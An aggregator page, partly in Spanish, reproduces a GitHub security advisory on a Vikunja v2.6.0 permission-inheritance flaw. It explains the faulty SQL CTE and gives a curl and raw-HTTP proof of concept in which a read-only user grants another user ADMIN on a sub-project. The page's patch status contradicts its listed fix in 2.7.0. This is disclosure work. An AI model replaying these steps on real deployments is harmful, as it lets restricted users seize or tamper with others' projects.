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Advisory · GitHub · Go · code.vikunja.io/api

GHSA-PJR3-86V4-5P7W

Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)

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medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición41 dDesde la divulgación, 9 oct 2026, 3:57 p. m.
Detección38 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
9 oct 26
28 oct 26
17 nov 26
19 nov 26
9 oct 26
20 oct 26
30 oct 26
9 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-PJR3-86V4-5P7W divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Description

Summary

In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as
the MAX over the entire reachable project subtree. As a result, when a user has been granted a
higher permission on a parent project and the owner *explicitly* shares a child project with
that same user at a lower permission (an intended down-restriction), the explicit lower grant is
silently ignored and the user receives the higher, inherited permission on the child. A user
who was deliberately restricted to read-only on a sensitive sub-project can therefore modify it,
delete it, and re-share it (including granting other users admin) - none of which the owner intended.
This is a behavior regression from v2.5.0, whose engine used "nearest-ancestor-grant-wins" semantics
that honored the explicit child grant.

Details

Effective permissions are computed by a single recursive CTE in
`pkg/models/project_access.go` (`getProjectAccessForUser`):

WITH RECURSIVE grants (project_id, permission) AS (
    SELECT project_id, MAX(permission) FROM (
        SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?
        UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?
        UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp
                  INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?
    ) direct_grants GROUP BY project_id
),
tree (id, permission) AS (
    SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id
    UNION
    SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id
)
SELECT id, MAX(permission) AS permission FROM tree GROUP BY id

For a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with
`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows
`(P,2)`, `(C,0)` (direct grants) and `(C,2)` (the parent grant propagated down the recursion). The
final `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The
explicit READ grant on `C` is discarded.

In v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor
wins), so the child's own direct grant took precedence and the down-restriction was honored. The switch
to `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the
additive behavior as intentional ("a grant on a descendant can raise an inherited permission, never
lower it"), so the maintainers may consider this working-as-intended - but it is a security-relevant
regression that silently defeats an explicit, owner-configured access restriction, so it is reported
here for a decision.

PoC

Target: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`
(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja's v1 REST convention: **`PUT` =
create, `POST` = update. All values below are the real, unredacted** values from the run.

Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"VikunjaLab123!"}'
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"AliceLab123!"}'

Real tokens issued:

admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg
alice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)
# parent (id 18)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <admin-token>' -d '{"title":"FinanceRoot"}'
# child of parent 18 (id 19)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <admin-token>' -d '{"title":"Q4-Payroll-CONFIDENTIAL","parent_project_id":18}'
# standalone control (id 20)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <admin-token>' -d '{"title":"ControlStandalone"}'

Result: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.

Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)
curl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":2}'   # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}'   # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}'   # -> 201

Confirm the recorded child grant is READ(0):

curl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer <admin-token>'
# -> [{"id":..,"username":"alice","permission":0, ...}]     (0 = Read only)
Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)

curl

curl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \
  -d '{"username":"bob","permission":2}'

Burp / raw HTTP request

PUT /api/v1/projects/19/users HTTP/1.1
Host: localhost:3456
User-Agent: curl/8.20.0
Accept: */*
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
Content-Length: 33

{"username":"bob","permission":2}

Raw HTTP response

HTTP/1.1 201 Created
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 128

{"id":12,"username":"bob","permission":2,"created":"2026-09-07T17:39:34.158776607Z","updated":"2026-09-07T17:39:34.158778081Z"}

alice - restricted to READ on project 19 - successfully granted bob ADMIN(2) on it (a share-management
operation that requires project admin). She can equally modify it:

# write op (POST = update); succeeds -> HTTP 200
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:3456/api/v1/projects/19 \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer <alice-token>' \
  -d '{"title":"Q4-Payroll-TAMPERED-BY-ALICE"}'
# -> 200
Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ

curl

curl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <alice-token>' -d '{"username":"bob","permission":0}'

Raw HTTP response

HTTP/1.1 403 Forbidden
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 33

{"code":0,"message":"Forbidden"}

The single-variable differential: alice's identical READ(0) grant denies the admin operation on a
standalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is
silently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the
inherited-permission override, not to alice's explicit grant.

Impact

This is a broken access control / improper privilege management issue (CWE-269). A project owner who
grants a collaborator a high permission on a parent project and then explicitly shares a sensitive
sub-project with that collaborator at a lower permission (e.g. read-only) does not get the
restriction they configured: the collaborator silently retains the higher inherited permission on the
sub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:
granting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant
configuration and can expose or allow tampering with data on sub-projects that were meant to be
restricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The
prerequisite is that the attacker already holds a higher permission on an ancestor project; the security
loss is specifically the inability to enforce a narrower permission on a descendant.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
code.vikunja.io/api≥ 2.6.0 < 2.7.0
v0.24.6
2.6.0
2.7.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gocode.vikunja.io/api
Sin parche — — v0.24.6 no afectada
Versiones corregidas2.7.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/go-vikunja/vikunja/security/advisories/GHSA-pjr3-86v4-5p7w
Otrahttps://github.com/go-vikunja/vikunja/commit/890ca5979d0c770bb5d158362797879c115961af
Otrahttps://github.com/go-vikunja/vikunja
Otrahttps://vikunja.io/changelog/vikunja-2.7.0-was-released

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.